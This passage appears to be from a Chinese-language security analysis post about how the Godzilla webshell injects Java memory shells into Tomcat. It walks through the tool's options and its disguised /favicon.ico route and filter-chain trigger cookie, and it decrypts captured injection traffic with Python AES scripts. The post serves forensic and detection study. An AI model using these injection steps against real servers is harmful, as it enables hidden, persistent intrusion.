4930027e240885542bb624687f78fda99c025ac3eb3a3f9b73082a5fb5654cca2af4cf9156a78c119fe81eb2168175af7ae563164535bafbbf6f3e4d46de1ec4026e34a9428ca95bd12643fef954fb4bf36fd0d6fb37b1b27f445d5a1372adda87d3d64f2cca9dcaeb60792055e05c30557f85f8c5dc71a3f31733f53f272d4346334027af26d696f3dd94ec62bd6313c017270932fad3e07b0411f496252a9e3e5b8c92732ad500f3380e266bf22d76e3c77a0d27cd915f28efedb30c991df62e4848fba015a9e1fc1eac121bd14ba53c51df9fcea37d876cdabc46c3ca2a107f46f33fbb3944348023ef39b8606fb8eb5fe9f3d87b6a6285ef3c487bd4bbe8a32be3c9d852541ec166ea9025936a0d9fc48e1fa1088b2be67f615fecab2ac02bc6ddbdecf6a2ff993737ea61b552f0ef98d6cb00f753b24913ff7560b8ccecacac282b510990a5d82abd962e707136111d12e4a4bc6343f610cdf8424770c2ad62faf2b1f753da6127a9ffc32324aa82f0c50888737ad39f91f3390726c2018927af3a546f242f77b440ced697a7284ba9734f12820323b8a72a8abb8c1e6baf9f0720a5a9e65e7d00f125f9502d27f34c9366a56a11b2c4f236d21c8d85343269ee96b2dce48066cb9947ff939de9b365715e7f182151b0ad007d62b16ecd8e3a58f25f429090492088c48690adca18b6fa1c09bd32d75df55533bdf90c28eb7e0fbf9440f749c31d6da54400851612fa93386836438b8560c0226f247047b3555b6d0d459af69d566d0547050ff4ff52363a660b5d211d021ae91f2e259cec4aa3fdb9199f92d31e0d50d444d6ba1e5f2fa00a5a7b4a3872af009ba4da8a83f7e01ae805f82487a116dc5937ca937f21c51159f5621ab2eb0e7451f02ae4484d97ece1ea0e17f8a01b875fc48964185fc734e0ffa7fd64bd296f1f0c325697cb1f7f256ff8d7c9cd34ad8f47c52c8fc7a4ff8bdd057a4a121812bdb18bd9c6a6f7bfe50c8a5c2f566a1b3bd7900e77960644f197ad6dae6b6871e4d485c16bb5f7041fd373369450787ddfab0708a60343f871ee44690109782999da4595040d5c940e670f363da95f3c515286da7fd2d57730ab28bbd0c36c6eb706b7998547e62d628d12009f8d8652dbf75d1720ef777ba1ffdf6433034351ea014c16c52651da442c48408402a24682f2148032f13c264a4a03feff4938ff9469d0eca182ea4f6a15c3022a91f4abaf452dbc40c1fbc0fffd8845e4e9af5b55671cd701c932e19670e94d82637d95fa48797e492009f7d70a8f307b896a8ecc69d3d873771be7283a554b71082e9acf603cb3b4df17bd99e082d21cbb67019b225134686b4e7c620e4ad98672f3e6be16e36c2ebc02f657b0e1f610830ba4811e8ac039fe052330122b7dbd6986213e84cabbc92d4d099dcfb2d9b9b362dc67e0f468ad7504c58f76c4b65738db99bac1962660217ae9b1a6312cc91a46c3d2b5370f19b16a7e3d5ad675cd824ad6563aa63637be5e08402e752e52136db07457948d26d835d2d8edb69d2299a95b2a087cdfd89a895df5e0f13b83b9310a324743f8bbcef8c4a15d87745108005003bb6972c4f7d912aceaaebaed748b56d5025aac19790ecea897ff94fe2d2f06a5b442b476b08604c73fa63f53db0a6c46e0ccd6ad321c65752bca26a13bc4d2d1951cc0b8079277bd46a2d2fefc3beffddc36391274b15be26af728a4d014e186c32354cb60285675ff7322306ba5ada5917c3ec83437e34d0a9d9c684a5705fe653538e72ef04a8170c34445e6e2d517c20c7f9b98f62fbdacfaf55f26fcfa5dda367ab1b4c68da461534a1c6083fb85b3975710a78e36d537fc7307da2f543caad73c5b7a93d8572a094fb3f244ee20e07d42c75bf9fb393e63cbc992e8a3eae33b6a11b873ba7806bb1fb1d8245ac8c40c4cf2753bdfbc7c0c18643024749a08219829b2734fda00d4a8949ef13461fa25cb5c0e5178cbd4e05eb08ad1045410ba6c5286f50feb50dd9dd5297dd5be8346bebdfba85c334c7a1edaa721b2763ed6d43778dc5c9d8e863dab31805f1e0ead9b63606fb5f6a6296f9c39965e0acdd10f4efe2ac292b6ab1600cec28a9f34c093a68bac9f82d8530d0361d3337a852a47a521ab796d079fe7edf5de4bd5b63dc52c4ee9f0f55f68cea41286591e0acb243d120dc05bb045d65d9b4ccb350a95fb359c07c3bb129f921946042f6a133d3f6e18ba90290b3feeccaca39a7fb949eca010b0efc23a786f0cb9ca74e6695aa8504cc860ca176036a3f2e917e40dbef62068e2b55fb39ee77f7d7e9f904b172c12490683fc6e0d690da5d3f6106709fcb1d3bca2734b23a6805a0b9f13a68c41efd98de6bfd1577ce9705e36baf493d8c362bf9d23752ac7a4afe71aae488c0d4857b2d2f5d2b4cf90d799007f4b222029e5055e17a472bd81f84af97339044a39f9dbba648f281f2889e4516bc6a78bbf17a7a8e0eefdd9c6b1a2a4207f0d8d81f2c40f2f3e1020939b079193bb73741257ec4eb7a0f0855998bf2fe71d144ca7f74376fb28396c34ed8549a98f54362021137d9f0d3253a798f3ea2f3e6562542659acc204e6870b7f91db35045d47ed6230cbd1b4299e4dbe4937a2eb13f8f54b303ea7fd99f405238daa3b91f5cac48c33a380a46e09874a3c3376c8d677e9bf95481e4e2b03eec9e2af28a8c87a1bf259bd85da23e9b5b0048928ac43c46c0a57698e363d3f4c61e8546a37ccb537948581a1c689ca25924cccff2ff999b73032f90481045948028d5be6afde516708f08fb1a7b87241d5d1a7cdc32fd35286d559a7cb5eebaf79a692c74a7add875d992a90d5aa568e05b468c408a9411a79f27bcae1d92d7fcb5c42f2faaae0c8fc54e3571b69933a4ede2463a3481289423ddcea9c1a825100bbf3b8ef9c68baa954f84bb8f3508fe913db0f82f1b98ca2a332eeef46d38ff15dd5303a8a4dc73cd62f33d348ca3c166b23f3dd6a6ba3fcaacf36aad1c032fecbc2a62e5064380c79907f271da31db9ddac958e594f4198590fc9b498e592a0b9ee3f3566e012bf1333c89d34fca5065fe37ef47310e81024486ff6fc7f8ca4b8bffff431e7c1e825c4cfb1b5d1eadaa9dceeb3dd67c9561688fe9d60fb6b6cefa073e5582f8fb06cec3ea64c0f32f84b24044ac346c2cb201a3c0d8db182170fb2b41decb6e48ce14d049b333211725660d5ea3df735586430f4d9c6ff9393387180ce2827463f7d4e25229066cd1781abf3b83dee359ccdd0574e7455c7f2260b31e6e7b7a93bde7644326bc39de917c8ed0bf0dc4d252e066f02ac6d6b71397a613188afa473f834c7516a4e26a793f27b8d30ac3c4a602c65d3ec8b1ce2a766666a519acd39e452fceba00b3360350f1d84d4c0bbb599dd4070e3d47a6258d3768bccff452310c84c4db6fa801930bd5c32a6d64fc0a40ff08e67fadd5c09158c6a1c4dfb303bb419b11390fc7b1479ad62e23ac97d164b2cf4e25ec616addd52074eb8cd5a79c45468fae526d78e1780a10a380199a4f3183ac8b1d5b2b33d9f8ed3c742bda802b7ed3b997cf1f248f10b4b823d545a666b3740ac3ddee69623203296bb4de23b04b7f80d6a2cb038fe90a33ddc5250384a9966ce16ee482a5b3424e7b1d0648a3314cced41617a95d83d058549f3ebb0009bf40b80175aaffde2007819b29fd3ebc033f84662279ba343b06175cdfe521e990e2be240294e722ffa9f5ee41ad7a60d62158b82db291d49630205ff82a6349fb03dd0ce825f97271aa6804679d9880826f436de4191a7943e3bae44b747d1cccd95d7b09cd986cc6e52d07e18cd5a4d03b0f18a3fa54a6aa9fa36945aa900740ba546618991dcb00059e0672043d4e4356c75688e539d47470a29b537c7065befd7bdb302e932ed681e2219a1c08277cc86e3089d5046cbbc3be3db3d418c86f1aaa4cba5f1581fbc9cc25f8569d7cf884e332def27c6eb0c6f092b41b76cdfd999b6d217994a218f020ab2cf4b08ba19e611bb8909720b7c5913ab33712568aaf5d0616cacf68865686995543de5c375110b851ce87a9a5d8db07a312adc1a3cd977a399e80baa58749721a00479fa891241e38d776af54ff59c360a56226bdf00d32536c2877d3f44cb70bb8fbadb832a3dcda83580a43fb2bd62a79262648f9aa7ada1827a5f80d5b1e67409a997858e774a14f4245f5c5f6d59c6644b644abb7abd265f23b1280a8734fe9a0e32a08275a8b56f751cc2eb001c04b0a136afdf451f191258dd0bb859dbd6fbe753c80ced81ae1b222afebaf1e721efb317dbf64ebb999b57299f5dafc6a81cf907930205e847fd7b285b2a2be3821c47be9ad2af067bc742e91ea17ac530439d0493f0097714bcdc7f5a1f92a555e9069497f3d05d8f12b28626990005c8f524fed1c6d7ca813fa2e0483d816cfb7cae28fa1fc69c986a7e864995c3514092d8482bf76ad31b679744ee0df7364b2173e6e11a0fef9e5e142173cfaac221211a297b586f6cf9dad4f0663c2d920465d38ef8c365e4ef785a17bfd698d4ae279fd8cf9c57ef7e1216b8acae25b77780753f6ec29d79beed81b0ed502004009f4860b627b96422076b611f167599dc85d985ce718c1b7f0edad95421ef3787395c4c221839e2d8e485f833a42faecb38497619c300475f333b2b1658fb1053ed94132c782fb90f72799800b45aace81d6fb1bd6741c784d6357cd7ecc3cfd532210879072edda3dadb705ae587372c6ece48e1a3f1c1da00f0693fc9b2b32bb56125910f62a00cd92d9925ba1a23968df72639c256391e252487476f0968c2b6f008925e13c19c636f369b3cd41e2d379867b2793dd22b7d344c3eda25bbfe5f33eab4071ccfcab5155d37051ac4ea6400d9ebb563eae29e0a62cab96bf24613fa4f526c37aee17df8aad7c57721614a3279f2e324207d3b528374cbfe200656aca724102ec88715ea23f91ed18b5b24347ea1fe654e435026f6789cf60920ae19edd04d65b9b1d7b3525265d86846550c7a2334bee06fc41c0d2239cd2921b664fced7ae1b060a3c85a22ab2462017d9ee94443e40a5d82c9079d340380629e22141d2a27d79c34c50cddf8ec497572fd199ca90cdfb25744b6d4e6db8fb0e3b0af4f7f56a52cedb581fb104a5326104007ec641e62b100128e115f3e322567217a76773a0c6d856cd5754d1b0b31598acab217a7644b8559f968af48b7d71f10c4725a4094118f5a1fb0f9b4f4be41c27771d2706a12148720fc8bc14b3853e1d0d27237a4ddfe06dc823f0d1d1f267fe8867c032510dea4b09f0e98a2f23b19feea93eed092d30bd378437d87bcf0b188a2af27f7f68be08b8903549035930206007fead733b339d3cf82ad568a7168cfff791a83d34c933dcc4b659a325714a0072d216615a525336e02c43fe546f8bf805958714faff0c3bb3cb868b33743b113d77eec4c4b06966514a4252e9f6c7e3fbf3b3aa042573ea8c1a966562ce7db9130e4e20c67e050d765ea635a76a44b0eea21f9a4547a811e73f7fbead9b0daa200b806bc82efa7604b7571576d5870c79b195e843c4c8453525ddfa1ba561b2e16d8fd2d2b871981828b6992dc0b108ec41cfc359c688578a0bf7a55cd8b05b9e2f7b69a34d0bfc8b1fa08968dc6483190e2bb148327bc82dc0c344f0466924a87170e47a3954f5be0924ad359e7c66e8050016d97830df9477834509b1906faaa35db4df4995128305729d84ef67064cf1a5eac684aa17187cc60d9ea2fb7f79632d7ed49f6c3ee36922e358bc39c280820aa5c25d23a550dbdbe2bde0722fc404c75509c87a49908ec06ce020814a2bb0932c8d5ee70c09d6158f255a4a147e38bc471495cef44977c09e9101842bb8cbd9e3d0920dc442fad7cbc00a1d3583c4a2750f17d80edd1f7a9eb07e1c8d688b17c41c4a666cb9f2514d26230c4142c4d331239eccd55d4d94a2eb306ac53e6d4c30e09b64b165bb070c00dfa36ac513da9bd99fd391fea982c6298412958227ec6bbe2d7b6f2741fafcb27ebfbf87ea13ed373e2a1285708f8e2ea9c1fca39b8e1e95605ad43f9db70881a100b7f62916f5135f959858059a101705c4f607bddf381de22ebb59df776f39d4f233231975ece5de6df4a72e65533384e7aef7b440e136fecf60db616e131a7983cfc76ce5a9f40a646874001abfecc4359192538eadd205a5673b335e7f6fa94a388789dedd331ebe10d671978a773014c6978fe1f1a13200f1c0ab6cf881a3ca6300353083ee29f36053f708f98aedcfe18c7d5103ccb9bc3c239fcb28e7c851e21b59adaaa99d1a9fd2c0a3b8bf0eeae34f2c51c545d004ae8fba0ae005cb81ba1e32d8d2569ea237bf90c9a5a84c0329fe68c1e39bd9a21e289bec1092d5aa8e4fffe810a5a715c57cd5c4ec3586b947dd280418882cd3ff15dcd38f218b3522c4e038a6f012285e12fe24ea0f0e36ff5f1359741d3d12d71cd607a913ff2a8962fc16127d6c4ed6e8e06947b6da45280ed9cd656ff2b76af0b83663475bc073fc075956d755e2148c30397d81a626d779cc7301905698bc8cf0a688fcac2b91df3c59a8944859931debf23fb357a193deec03f8c70a4b914ac32768b0bce05d701854dfbf42d46c8e0e7be1da00411d53a6db25717c8494e4f38c3bc371ab18147442c689408561fd047d8143333423d5badc0f21b358a16d94fc4e3cd201432638d0101542d07ad0f369c1e5f46bbd8c8916eeefe91643ef389950bf1d3232e34a9f5a468a0094156e1556185fadfcfd69f46eb4279f778b0fdeea07bc4048f3908e146755097e21f355ce4b09f166cceb4b17d3274a244a2339977618571efca53b1123a1c632660acb69d9a25e"

def dec(hex_data):
    data = bytes.fromhex(hex_data.replace(" ", "").replace("\n", ""))
    plain = unpad(AES.new(key, AES.MODE_ECB).decrypt(data), 16)
    if plain[:2] == b"\x1f\x8b":
        plain = gzip.decompress(plain)
    return plain

def show(name, data):
    print(f"\n[{name}]")
    # print("HEX :", data.hex())
    print("TEXT:", data.decode(errors="replace"))

show("请求包", dec(req_hex))
show("响应包", dec(resp_hex))

注入内存马分析

利用前提

内存马的注入实际上就是执行Java代码。所以内存马利用的必要前提条件就是能够在web应用的上下文执行Java代码。

简单说一下哥斯拉注入内存马,如下:

功能

简单作用

是否直接注入内存马

常见用途

MemoryShell

注入内存 WebShell 入口

是

注册一个新的内存访问路径,比如 /favicon.ico,后续通过该路径连接

FilterShell

注入 Filter 类型内存马

是

动态注册 Filter,拦截指定 URL 请求,适合分析 Filter 链内存马

ServletManage

管理当前 Servlet

否

查看已注册 Servlet、确认内存马是否存在、卸载 Servlet 类型内存马

JarLoader

动态加载 Jar 包

间接相关

把外部 Jar 加载进 JVM,用于扩展功能或加载辅助模块

MemoryShell

注入过程分析

进入哥斯拉后点击 Memoryshell 就能够注入一个内存马

  • URL_PATTERN:/favicon.ico,内存马注册后的访问路径。也就是说,注入成功后,后续访问这个路径就会进入内存马逻辑。

这个路径不一定真的对应磁盘上的 favicon.ico 文件,而是运行时注册出来的内存路由。(可以自己实验一下)

  • PASSWORD:password,客户端连接内存马时使用的密码 / 参数名。
  • SECRETKEY:通信加密密钥。
  • AES 加密密钥
  • 协议校验密钥
  • 请求/响应加解密
  • PAYLOAD:选择注入后的内存马协议类型,也就是“这个内存马要兼容哪种客户端 / 哪种通信格式”。

怎么选 PAYLOAD

场景

推荐

继续用 Godzilla 连接

AES_BASE64

想减少 Base64 包装,分析 RAW 流量

AES_RAW

想用冰蝎客户端连

Behinder

想兼容 Cknife / 菜刀类工具

Cknife

想做 HTTP 隧道 / 内网代理实验

ReGeorg

这里还一个 unLoadMemoryShell 的功能,卸载/移除已经注入到内存中的 MemoryShell。

可看看注入这个过程的流量包

解密一下

[请求包]
TEXT: path
          /favicon.icosecretKey3c6e0b8a9c15224aevalClassName0org.apache.coyote.deser.BasicDeserializerFactorymethodNamerunpwpassword

[响应包]
TEXT: ok

整理一下就是:

path /favicon.ico				表示内存马注入后的访问路径。
                                            
secretKey 3c6e0b8a9c15224a		表示内存马通信密钥。

evalClassName org.apache.coyote.deser.BasicDeserializerFactory		表示动态加载类名或伪装类名。

methodName run					表示本次调用的是插件中的 run 方法。
    
pw password						表示内存马连接密码。

内存马分析

配置好参数后,点击测试连接就能连接上内存马,并且抓到对应的流量,这个加密方式跟 JAVA_AES_BASE64 是一样的就不具体分析了。

哥斯拉内存马的流量特征和普通Webshell的流量特征基本是差不多的

FilterShell

找到 FilterShell 设置好后点击 addFilterShell 即可

内容

含义

addFilterShell

添加 Filter 类型内存马

You can access it at any Url

该 Filter 会拦截任意 URL,访问任意路径都可能触发

You Header is Cookie: d7b8f27e2f162561=0ed40b2;

后续访问时需要携带这个 Cookie 作为触发条件

payload: AES_BASE64

通信协议是 AES + Base64

password: pass

连接密码

secretKey: key

通信密钥

可以点:getAllFilter,查看当前容器里是否多了一个可疑 Filter。

getAllFilter 的结果显示当前 Tomcat 中存在两个动态注册的可疑 Filter:BeanDeserializerFactory1782055646198 和 BeanSerializerFactory1782055523016,二者都映射到 /*,说明 FilterShell 已经成功注入并挂载到全路径拦截链中。Tomcat WebSocket (JSR356) Filter 是 Tomcat 正常组件,不属于注入内存马。

第一条数据包

然后再继续分析一下这个连接过程的流量,先解密一下第一条流

解密代码也是直接套用 JAVA_AES_BASE64 这个类型的解密方式就行。

可以发现解出来的是一个 java 的 class 文件应该

这里配合 cfr.jar 反编译了一下

import base64, gzip, hashlib, subprocess
from pathlib import Path
from urllib.parse import unquote_plus
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

PASS = "pass"
KEY = b"3c6e0b8a9c15224a"

REQ_PASS = "R6X3AVOd59VzZnDMFMgViBB0PkEAlJ7GLFsfuxo7QUXZwx2HwhZfuCl4Q%2Bk7cIUmbfjG2yyn2zZta9nZZczh64tNeMDb95ItAg11VI50MbM%2Fkv897xgMEic5nFNieXrw1JMcsCfw0Ch%2FI%2B6NISHyiwktO6OLpGKmfrn2i01u9nYfVUGCugblqoJnUvBxmg5gjJHl2LO%2FtG83qcuFtPt%2BWX2Z4zIJelyJaKQBFp4w8iykKun5OW3c2JdFDQ78h6oTJTzfTzdA%2BIWSATt6wdJowm%2F0xBPOwjx1R6vQ7wHKU9g2hYOR3575v8wPnk%2BH%2FQyUcTitUA5FItlk4%2B5ivuU4FmN0MACVD7BqgB9xNI%2FxZd9M3vK3ZAXdLr%2Be%2B%2B59UMgOKd6wXCRKFymGgEU%2BUu%2BDP5jr6PhF7wyEfd4w6c0BiH5Odh8kQkOZCB7SggMebfrQl%2F49UCtjLD%2BUET%2BAOVlmDUGXFcj%2FSDQ1dNZbye0s1vgMrhaWR%2BiPO%2Brx03jTHnvXRu2Y2%2FyCxhlQQiasT81kNlQj%2Ffjs5TWkSuiVOzrxbd9Xc%2F0ZktOi4HnGvR4yQbmM0h3hU99yABn7klFkU1lusCRuuwIC7HO0tm3y%2FXLvYrfW27fx62OMYz5pLu7%2FEaY0sm4XDZWBn5gVdYH9kL3XYHLDaII76S%2FVqLmwrKujhWBlVL3D0F7W8JKNSSDGIo7TLr7hGE5g8FMB0lgsuCsMtG9bO6ojt0s%2BK1UjMNmPlpTu3k3MF51mu8mp2t%2F6lX0yQILU9hKT7XHs0CqVHHmoubomHjg0cBye2pLvDWrXoWMRqGXztVvChMW6EnHatQ%2Bo0shRSawa5NOrLTEhspOqLhTa1F1CvBhrbLuQupIWoPj%2BpDQvjS7%2Fs65QLstLgWrvR0HuXlqFqE3ascZdokHWTleIshMjwZpd5qWjubXCxX%2BKZkrBQ4%2BJtAyw88Owg6HfHi9f1t9j2pWP1aAGxychM7EGPa%2F9P9oRJIEq9THISrX6Ll4mDdHa4NqtQv1%2Bqk%2B58%2BZ4I0t5%2BSnzWoY1nPJZ7TbQpqv%2FexeLeUmUG2eTQUN%2F1zm4pECN2Os3HsyC6cdKyffXuQRNR5EFnoTtpTnd4bhQRDjICOxUTOGiwqoRKfo7X%2BLlJ9GsZPD3fJHcEFMR%2B0hBzdLKTS7icyTJ6kbFJt3jP9uBQ3fa7guw3fxMzozspIkonNYTBCktW3TlW4zHAke8Xt4iTFzu5q1of7KCvRfPVz%2BNBWI0NrBNW6UYjNKQlFGDGNSu8%2BWXs3UFFv%2BHcE5JDCJdDeYTilSjdXupfPA62laDztx7%2Fx61ahLrLc%2Fv6Mm%2FARH8haX%2FCILelwqi4AHOq6cQIcu23NdD3kLyTihqrodSRSReL1yDFRcUa88mh%2BeecBhrgrceCSi5Orl1HkH9e1IzrqgJuYwaLvHY0B0FrYN5hQA%2FfSgDk4PLoxpBCjwvg3xR5%2FfQtDQQDIFMHDn%2BUpykt7dJRbocIUXQkMu1y5sjcr8DyIv%2BhCFIl4%2B0yIRSyAnTaIaqy82J%2Fl7BCwM7w22C8SvVwF2v6EhhquNJ4lATnTLq9BQyMgHLy5hwn4LYfakVbxO%2FJE%2F85EuQpKQ1%2F8%2FLYnZiZ9gwdskpqN8dLWiLqtAmxb7yxvUbTJCF74ZzPMAp5x%2BES4o3EFU7y%2B4%2FsDQ7yvpO%2B%2FOm9noYb80Cr%2BsXyOLQO1wCX7syynGWe%2B40vxBhYnbHbbKRpw9Fu46rUEoVv348kRsgLYftuKbwzvKl7yoFxAjN0bGWgZ%2Fs0HjK3MJ9abu53TN%2FYGk9bRJcAbijcj6W5%2B87fBraEwiWbumvPHqGNIaM%2Faa0L1rXGOv7J0oidyDINbHArfnToQmaycmzjqLdOQBarOT2Yn%2Bs5y2daxy%2BrhEjRVbXxEfYlElmjgxkvgG2tjuEhAyLQD19DjSPTieB8%2FlEt9rwqpTPQ9M7%2B%2FEZ4GQwajPseh4ZX74dS7IbUGo%2BH7l2E6KfbvB5k2RXS2o3ZdB3vtm1m%2F2S39AkQPFjM1IWgEY3MwUfXW3gtXNFJIfVSxI97%2F28ng2wpiSYMBD5hPPfcb4%2Bf7wa%2FfA1MCkXwviBLr%2FWoNE8AIUaBZLxj8hqjzGFWiAnovsWngjAwq7%2FYVZGnHGj8%2BhE7c1fOgtcE1kJe93ogWr4FPrSa7ZcoD2GY26Jw%2BawIJiy4nHyGboiJLRff%2FeJKIp%2FQTnuy%2BlPwl5hwe2JDcURWiJNiT7%2B7AXrQV%2F89kidqQFl3%2BEZ8WnqIyMFmPSNl6bXvAHznBkPie2Ilce5jG4szAX%2FybPWsVz7yK2ISovvypPMPVh%2Fw1Vr9AmtkmqreniVKgqIIjqjHx01Gq17Ix0%2FqHigFVU7QbdN4q4mypJhUMDGTEQG2%2Fygkjnmc%2BvV32zLAogmuXJanxR%2F6VE8A4qb9O7OSTiyKQZbF7AY%2BajDgd%2FQ4rskVYq6e80ISrBfSzhbqtumQ2taNwX%2B%2F%2B7xRGV1MLTrQNs4lmJo8SY8%2B1GSQecf2LPKEY5dn%2FjcTuz%2BRSOd29mwPgV8knFyjS2MueUvFD3A9wgLuDa4ah%2BBTZkMaiwzidGhrrNop99VjBpAQDEu3AsCZwwwV017vX%2BzitThd2MSFVs1pMq%2BrJh1ePRowxxvP3kLU%2FByqP2LKYCc0tq4fJIDrhdX0ZQxojcf9sX%2BjeEkKVMRncV%2Fan1KwEkp52yclkzqgcG3zrEtsFLrb6GyQUnJR5EsVvhbDfxaQ3z5kLCP6eeLX43%2B3SLsttXyZmMzYYZO780ENDmv3ydeU0iy2qOy2yzRcsnHowZ4Zs3VcsJKQy52fiOMIM8EUhKkA4z9dYj8%2Fs5NBpwC1c6j%2FbsIDIF2%2BgaoQW6S6%2B1FrGMUINMto3mrK6a2OjGtAoyKBoTdpppN955saaR5RT%2FnwIOpMBIvNpRSxRYyu9YusM0d6%2Biv%2FAIgTph55Pe6ZlolJoliNa44bB4nTGO%2Bc3vAxaDsBvDAYehNZPP%2FDhBRosd0X5R5N6Gx1jJH0LoxEn4yEMbab3NSpLo1SWEjt13yxugiLVwllkfg9c1CeaIPrYfCDn84qgQGKAbPjbdHml9Ca9b2v4wOWBDBQA8FyQ2SPUsUw8R0goMPUsmMyxxeD7heOqvvwV%2Fjd%2BngiMf0yzhysg828fXuln9xFMMrQxmB89OAdUJs1rzJds1qsHzi1NgYswgZZMgRjRJyGaD45ha512qfwYAmyExWNPFqAAlGD8CBUMSJ5Mv%2BxKo2ODFN3xZgaATgWL6Sz9GZYTAvRHOOHLdOohaG6BRLiM%2BFQuIu8e11TZ5Doc44mHJHLMUpxu%2BeN3DpmUyfMhGchBcwopUD%2BSmxUhpTGA1qA3%2BvnlaibuaJmpShI7PHrGAyHUX7rQK3m0oh5AIyDXWjHbZP6YfF4otjWJddVqLEs1OxElFSNh3Uvxi%2FfXSUL1U2MoLATKqJg5V%2FyMpjfPeaPx57fdTWvDiuG8wcErTE%2Best5XTJ%2Fd%2Fv1EeitGyRNI5kInPBeg1tFEkAbkzl62Uvermm%2FfAgMFfG69IjV1Ugf0367xIGp3Wl9avcYuxNWbposbU1pdrkVBsiSXjOFO2Emvr0oNo0jzQieRNlVZmANr9v8okhTJP34wD0KQXAGlR6AXhkba2xZM3XwCRo0xhKtVCXeBAchB0o677ZEk1PMJNwZROfpq94nIHSYFGKliQUe5rlI3XTZJo5XoOYgrlSvHc6JrjrDk6b%2Fro7XrpGmiwzSGP8rIwwvrvPD6iNarJe%2B9g7DFaj35u9cS9MiLUEYT1r6STM7sefx7il1L79gi5Ogh00SILkZK4ZELGlDimQhqQtlVS9S%2BnzcLl0MjDqkc12ElKrLeIGIRaFSQ14w89ftJ%2F0V7Oc56O6ZIk4oDUTvKUss4DBO2U8UVBYv%2Bnc8GqSeG%2BiYaPtj1onvsRi%2F8TTLLX44md6kIe%2BfR88CyQszliv6dAs5a8rADijegVPkakikSv61twnlpMv2gv8v8b9pZsnPeuQCcS7e%2BQRXcDlJPoOPeDPPpX28Aewt0K0uKkxl5qQE7PO9E69j59vDRQQGr5NJpLbFmO2Eu9xu8IaSkSDmRoVPQbguauBYmscMCT%2BoVGHNwoK7e9fvBAEN%2BLiZ5Ia9yCIt%2BC5wMoJgXV2ZRiICBMtnwwEf43pyVPwj6UPyPxshMkpm9cJ86Rq%2FsNlAXoRQSiT7jPvWgUf0UADky1IT5zmWVlmfbkqBqVxwXxaQHw0ENQz4ULn9qhGEX5KGd7GGCglWVLM15f9%2BXwIZK0CswtbcQ%2BmTYYrrEvwHUWBXSsnhQHMzT6wW%2FwozcoA5h5VKbQnZB9WgkgC9kJAextAmHqeukO3Z8RzlPOwmUbiGr8t%2BMbA4iddiJvbGn7KYDgmmp9fxP%2BNF8cLr%2FgD4GUHGD5vcNdgtDj%2FH8NxglPw70FmC7itAZjIU4DnTBr7eJVmJPsLbR9sBX1rklaYsBXGRh57HB1CVwyVa176BCgkKjiQDnuju%2FJqOns%2Bhhdz80NdLJr7k%2BE3mv1SMUa21srA0Hmr3jXHafniWPzpP6cpsnUNvk%2Fz%2BPTYE43MQFSZ3JWErF%2BvmpEuJcNiwx6akFuSOe1dI8IwwTa%2BKByNV7SdRvxGIGJg%2BA6rRRW60BLjjBsDfD6T0xMoxWL4z9rZaKA3jC6WIcsclTQuJt5RIe1U2s2K2dtk9h%2B195ZbAy4Rjwtv69jqploYXfaXu%2FZIG8mB%2BFidOKFLesuS7ilAW2orWYB%2FqzfFW5kYxwHZ%2FLjbcTY%2B2cQ5o%2BuyrgIpec0U3WcTaQAKVvw2HpCkfQPv8ntGUp%2FcyTK%2BO37X7HEeu3x36khYT0DonyvDPNKjAe16OVw%2F4na2oOBMCKbLllzeiTquEWWXJm%2FyCx6Npu7%2BZ9SBqExxRJpV18hH5Qu6JbXcQq74aM4HVSnH4jQAsnz0JuLDXFlsH1QRNfk4cHAQO7hH%2FHVnko%2B484yCiKaDRzLXFUiP2t55AkBG%2BUOdaCFdxSMUuFVGLGPBmlXLz3vdMhIYH5cfGS3hGutz5gnxGDxTpjvfjjsvQfd7Rtt2c1gyOLVMis4Ac%2FOSjYhC7cxG8%2B%2F0BWvLn5VfkQRVTlZ2BSc95MrZd3s1losdslUB%2BQarx%2FlCCjPmnlW0ee2OFZ2B37jmRwuQOIuqDfWkKw4v3uU85lN70TtGaXZM%2Fegp7fufnQ1DzNFfKuF6n4J0mTKprPVxavuRNgf6rN1%2BrOM%2FvvuKtfHzVSHqjvuIaxP%2B1yTwaPfWeMlaMcJ2LJue3iQFWVH0KtGn1A9C73uVuiIKfSh6orfrWjBWO4NTOGWD1UdniHEjnDp%2F09cZd2hyIikaLIs%2B2FbyV7UzzzLXHn7%2BZqNtG%2FfHuDQ9UdVpalREkUlqMsSdJV5o1zEM5%2BL8qnjPKBoGFWSlamPFiBIOCQ6j%2BWM1MjXSXu2VnkmqQ%2Fau0W8bfbiD2uaCNIamfmt8073AaIg9S2pwLocOmo40lyXxuDBHfy83bay14f2cvUsHCITARLQ8Ciy8BVdjcc8w%2B7TVMjekyMWD3%2FeDNvYV20V%2BLW8WfRJSNwW7e1KazpbZn15MoxrDY%2BWPRONqq3IRn0m8Ha8y0vUV7HrYQrycISCLl6hlPZDnNgIKqbkPvp9wT2127HVgbJFNX7qTbUNi0we9RXQzHXskkfauBNQ2v4OaBJeKfn0vuVBbV6V8NxX8mnJtH3z5XGtXcP1T%2FdWNVDhn47wSI8bHLLT51x1H4Z44d%2F%2BELxzJ2Go84ryho62jICT3Lyt844pFgFrht7Cm8nYzl%2FnCGB3kTq9oaTPwwHlwmnAwFh%2B1k9wJUA5omBE1AOaBSiShfR6meb1YrI1cV3HPASWNYo8tPo0uFZ7W4PyO1%2B501at1YYh8BCZhzxDKYgveFRbf8TQ9jIstnXY7aba7wv5c3MZDKWG%2Fm8dN92xYt09U5EtGSIuULhkxi9EYNAk8lkgIWu2rIHVbjCyEZfH92YomKFmtfLFyAdWOSVCZ3hFGlMQbr08lEQgU5OgTa8%2Bnhw90J04g2b9VOzaOIYv8ADQmwuJU8bBZxvvxIyweIXsiLI%2BxtP0wu4dtfLdvOj7wvVJKivXDQLhJ2VVRbuIctERdCOBirburEbJowqrD1SDalZjqu0ZuGd58PwUu2nuqRl88POBzIaPLbJmGL35F0bIqaE2hj2jf6srcwMLEjxiDClhkotZQ5%2BqeYxPkVLJ84jYeVm6jMd6F8dCSZ%2BUu179FYt6aeWCnSK8Ip94P3Es4UZG9RIAexRjaR7lRb0GYclI2xxMRG8hDLFYMsMxTiPnGoeEtqIeV4kuYuSa2YTJOQXBSu2G0mjFGlYO7MqsRjqEoOVKqRVe8SwZJLRv5hvJbWNTOnuy0RzVxQwujaLyazwPPlf1kfF1yCVQEFFJQBomNjf0EBUMACjX9hbBfSaaO38lzGCkL%2BPbRVT3rKVfJe6Vd0wzxw6PkBE74%2F5YhJoXPgGpxHFa15D5gUf0PC5VF%2F9MaAhppS1idvj1U1NK%2FOPDov1h2o9GWfHfxLCP2dspYuQfGK%2Bnyf%2FUxSjXSHo2Hr1R